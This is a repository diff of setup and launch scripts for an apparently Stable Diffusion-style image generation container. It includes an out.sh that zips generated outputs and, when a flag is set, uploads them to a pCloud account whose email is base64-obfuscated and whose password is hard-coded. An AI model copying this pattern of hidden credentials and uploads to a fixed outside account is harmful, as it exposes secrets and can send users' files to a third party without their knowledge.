50 |
+
mkdir -p checkpoints
|
51 |
+
ln ./Stable-diffusion ./checkpoints
|
52 |
+
fi
|
53 |
+
|
54 |
+
cd /workspace/*
|
55 |
+
sh ./CU/downs.sh $1 $2
|
56 |
+
|
57 |
+
#pip uninstall -y torch
|
58 |
+
#pip uninstall -y torchaudio
|
59 |
+
#pip uninstall -y torchsde
|
60 |
+
#pip uninstall -y torchvision
|
61 |
+
|
62 |
+
#pip install torch torchvision torchaudio --extra-index-url https://download.pytorch.org/whl/cu124
|
63 |
+
|
64 |
+
pip install -r ./CU/requirements.txt
|
65 |
+
|
66 |
+
#apt-get install -y libgl1-mesa-glx
|
67 |
+
#python3.10 ./SD/launch.py --reinstall-torch --no-download-sd-model --exit
|
68 |
+
sh forcePull.sh
|
69 |
+
sh gc.sh 1
|
70 |
+
pip cache purge
|
71 |
+
sudo apt clean
|
myRun.ipynb
ADDED
@@ -0,0 +1,61 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"cells": [
|
3 |
+
{
|
4 |
+
"cell_type": "code",
|
5 |
+
"execution_count": null,
|
6 |
+
"id": "900001f7",
|
7 |
+
"metadata": {},
|
8 |
+
"outputs": [
|
9 |
+
{
|
10 |
+
"name": "stdout",
|
11 |
+
"output_type": "stream",
|
12 |
+
"text": [
|
13 |
+
"\n"
|
14 |
+
]
|
15 |
+
},
|
16 |
+
{
|
17 |
+
"name": "stdout",
|
18 |
+
"output_type": "stream",
|
19 |
+
"text": [
|
20 |
+
"\n"
|
21 |
+
]
|
22 |
+
}
|
23 |
+
],
|
24 |
+
"source": [
|
25 |
+
"%cd /workspace/firstContainer/CU\n",
|
26 |
+
"!mkdir -p tmp\n",
|
27 |
+
"\n",
|
28 |
+
"!LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libtcmalloc_minimal.so.4 python3.10 main.py --port 4411 --listen 0.0.0.0"
|
29 |
+
]
|
30 |
+
},
|
31 |
+
{
|
32 |
+
"cell_type": "code",
|
33 |
+
"execution_count": null,
|
34 |
+
"id": "100001b4",
|
35 |
+
"metadata": {},
|
36 |
+
"outputs": [],
|
37 |
+
"source": []
|
38 |
+
}
|
39 |
+
],
|
40 |
+
"metadata": {
|
41 |
+
"kernelspec": {
|
42 |
+
"display_name": "Python 3 (ipykernel)",
|
43 |
+
"language": "python",
|
44 |
+
"name": "python3"
|
45 |
+
},
|
46 |
+
"language_info": {
|
47 |
+
"codemirror_mode": {
|
48 |
+
"name": "ipython",
|
49 |
+
"version": 3
|
50 |
+
},
|
51 |
+
"file_extension": ".py",
|
52 |
+
"mimetype": "text/x-python",
|
53 |
+
"name": "python",
|
54 |
+
"nbconvert_exporter": "python",
|
55 |
+
"pygments_lexer": "ipython3",
|
56 |
+
"version": "3.8.10"
|
57 |
+
}
|
58 |
+
},
|
59 |
+
"nbformat": 4,
|
60 |
+
"nbformat_minor": 5
|
61 |
+
}
|
out.sh
ADDED
@@ -0,0 +1,49 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
#!/bin/bash
|
2 |
+
|
3 |
+
# if == "1" running
|
4 |
+
OUT_CLOUD=$1
|
5 |
+
|
6 |
+
# file add
|
7 |
+
NAME=$2
|
8 |
+
if [ -z "$NAME" ]; then
|
9 |
+
NAME=""
|
10 |
+
else
|
11 |
+
NAME="${NAME}_"
|
12 |
+
fi
|
13 |
+
|
14 |
+
if command -v zip >/dev/null 2>&1; then
|
15 |
+
:
|
16 |
+
else
|
17 |
+
apt-get install zip -y
|
18 |
+
pip install pcloud
|
19 |
+
fi
|
20 |
+
|
21 |
+
CURRENT_DATE=$(date +"%Y%m%d_%H%M%S")
|
22 |
+
ZIP_FILENAME="output_${NAME}${CURRENT_DATE}.zip"
|
23 |
+
W_PATH="/workspace"
|
24 |
+
if [ -d "/workspace/firstContainer" ]; then
|
25 |
+
W_PATH="/workspace/firstContainer"
|
26 |
+
fi
|
27 |
+
|
28 |
+
cd "$W_PATH"
|
29 |
+
|
30 |
+
if [ -d "$W_PATH/CU/output" ]; then
|
31 |
+
echo "Creating archive. Please wait..."
|
32 |
+
zip -q -r "$W_PATH/$ZIP_FILENAME" "$W_PATH/CU/output"
|
33 |
+
echo "archive file : $ZIP_FILENAME"
|
34 |
+
fi
|
35 |
+
|
36 |
+
if [ -d "$W_PATH/output" ]; then
|
37 |
+
echo "Creating archive. Please wait..."
|
38 |
+
zip -q -r "$W_PATH/$ZIP_FILENAME" "$W_PATH/output"
|
39 |
+
echo "archive file : $ZIP_FILENAME"
|
40 |
+
fi
|
41 |
+
|
42 |
+
PD="'$(echo eDg3NjV4eHhAZ21haWwuY29t | base64 --decode)', 'Number'"
|
43 |
+
|
44 |
+
if [ -f "$W_PATH/$ZIP_FILENAME" ]; then
|
45 |
+
export ZIP_FILENAME
|
46 |
+
if [ "$OUT_CLOUD" = "1" ]; then
|
47 |
+
python3.10 -c "import os; from pcloud import PyCloud; pc = PyCloud($PD); pc.uploadfile(files=['$W_PATH/$ZIP_FILENAME', '$W_PATH/$ZIP_FILENAME'], path='/')"
|
48 |
+
fi
|
49 |
+
fi
|
run.sh
ADDED
@@ -0,0 +1,11 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
#!/bin/bash
|
2 |
+
|
3 |
+
FLAG_1=$1
|
4 |
+
|
5 |
+
: <<'END'
|
6 |
+
END
|
7 |
+
|
8 |
+
cd /workspace/*
|
9 |
+
mkdir -p tmp
|
10 |
+
|
11 |
+
LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libtcmalloc_minimal.so.4 python3.10 ./CU/main.py --port 4411 ---listen 0.0.0.0
|